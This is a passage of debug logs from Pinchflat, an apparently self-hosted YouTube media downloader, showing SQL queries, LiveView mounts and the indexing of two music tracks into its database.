s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:17.210 [debug] QUERY OK source="media_items" db=0.2ms idle=125.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:23:17.211 [debug] QUERY OK source="media_items" db=0.3ms idle=125.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:23:17.211 [debug] Replied in 1ms 22:23:17.212 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 5} 22:23:17.212 [debug] QUERY OK source="sources" db=0.1ms idle=126.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:17.212 [debug] QUERY OK source="media_items" db=0.0ms idle=126.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:23:17.212 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:23:17.213 [debug] Replied in 729µs 22:23:17.213 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 5} 22:23:17.214 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:23:17.214 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:23:17.214 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:23:17.214 [debug] Replied in 1ms 22:23:17.290 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:23:17.948 [info] GET /sources 22:23:17.949 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:23:17.949 [debug] QUERY OK source="settings" db=0.2ms idle=735.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.949 [debug] QUERY OK source="settings" db=0.1ms idle=735.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.950 [debug] QUERY OK source="settings" db=0.1ms idle=735.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.950 [debug] QUERY OK source="settings" db=0.0ms idle=659.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.950 [debug] QUERY OK source="settings" db=0.0ms idle=188.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:23:17.951 [debug] QUERY OK source="sources" db=0.4ms idle=1.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:23:17.952 [debug] QUERY OK source="sources" db=0.9ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:23:17.954 [info] Sent 200 in 5ms 22:23:17.970 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "duration" => 200, "filename" => "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", "id" => "G1b63yYNCvU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G1b63yYNCvU", "playlist_index" => 33, "timestamp" => 1739440888, "title" => "Telephone (feat. SixteenInMono)", "upload_date" => "20250213"} 22:23:17.970 [debug] QUERY OK source="sources" db=0.1ms idle=20.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:17.971 [debug] QUERY OK source="sources" db=0.1ms idle=20.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:17.971 [debug] QUERY OK source="media_items" db=0.1ms idle=20.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-13 10:01:28Z], 1] 22:23:18.052 [info] CONNECTED TO Phoenix.LiveView.Socket in 19µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "PllRfDodLBYOPAMSEQh_PCFcYQEaMgArW4bKSUEWeZ7BsENjq6UrIFWh", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:23:18.064 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:23:18.244 [debug] QUERY OK source="media_items" db=272.5ms idle=19.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "Telephone (feat. SixteenInMono)", "362efb95-b705-491d-9e1f-fac77624c477", false, "G1b63yYNCvU", 200, false, "https://www.youtube.com/watch?v=G1b63yYNCvU", 33, "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", false, false, 1, [], 1, ~U[2025-02-13 10:01:28Z], ~U[2026-07-24 02:23:17Z], ~U[2026-07-24 02:23:17Z], "Provided to YouTube by DistroKid\n\nTelephone (feat. SixteenInMono) · The Oshi Bar · CottontailVA · Isaa Corva · SixteenInMono · CottontailVA\n\nTelephone (feat. SixteenInMono)\n\n℗ Oshi Records\n\nReleased on: 2025-02-14\n\nAuto-generated by YouTube.", "Telephone (feat. SixteenInMono)", "G1b63yYNCvU", 200, false, "https://www.youtube.com/watch?v=G1b63yYNCvU", "/downloads/Nightcore/Nightcore/2025-02-13Telephone (feat. SixteenInMono)[G1b63yYNCvU].m4a", false, 1, ~U[2025-02-13 10:01:28Z]] 22:23:18.245 [debug] QUERY OK source="sources" db=0.2ms idle=274.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:18.245 [debug] QUERY OK source="media_profiles" db=0.1ms idle=274.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:18.246 [debug] QUERY OK source="media_items" db=0.3ms idle=274.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [33] 22:23:18.246 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "duration" => 334, "filename" => "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", "id" => "qNFBzyzqZdc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=qNFBzyzqZdc", "playlist_index" => 34, "timestamp" => 1743214506, "title" => "Fragile - Tatsuro Yamashita / Miori Celesta", "upload_date" => "20250329"} 22:23:18.246 [debug] QUERY OK source="sources" db=0.2ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:23:18.247 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:18.247 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-29 02:15:06Z], 1] 22:23:18.419 [debug] QUERY OK source="media_items" db=171.2ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "Fragile - Tatsuro Yamashita / Miori Celesta", "99f9d5e3-db56-463e-993a-aa39d3b1d750", false, "qNFBzyzqZdc", 334, false, "https://www.youtube.com/watch?v=qNFBzyzqZdc", 34, "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", false, false, 1, [], 1, ~U[2025-03-29 02:15:06Z], ~U[2026-07-24 02:23:18Z], ~U[2026-07-24 02:23:18Z], "Available on streaming services: https://distrokid.com/hyperfollow/mioricelesta1/fragile\n\nVocals, Vocal editing: Miori Celesta\nVocal mix: tsi \nInst: Edo Emp Studio \nIllustration: e武器\nLive2d: Eskageese\nMV + thumbnail: Aga\nOriginally by Tatsuro Yamashita", "Fragile - Tatsuro Yamashita / Miori Celesta", "qNFBzyzqZdc", 334, false, "https://www.youtube.com/watch?v=qNFBzyzqZdc", "/downloads/Nightcore/Nightcore/2025-03-29Fragile - Tatsuro Yamashita ⧸ Miori Celesta[qNFBzyzqZdc].m4a", false, 1, ~U[2025-03-29 02:15:06Z]] 22:23:18.420 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=173.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:23:18.421 [debug] QUERY OK source="media_profiles" db=0.4ms idle=173.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:23:18.422 [debug] QUERY OK source="media_items" db=0.6ms idle=174.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR 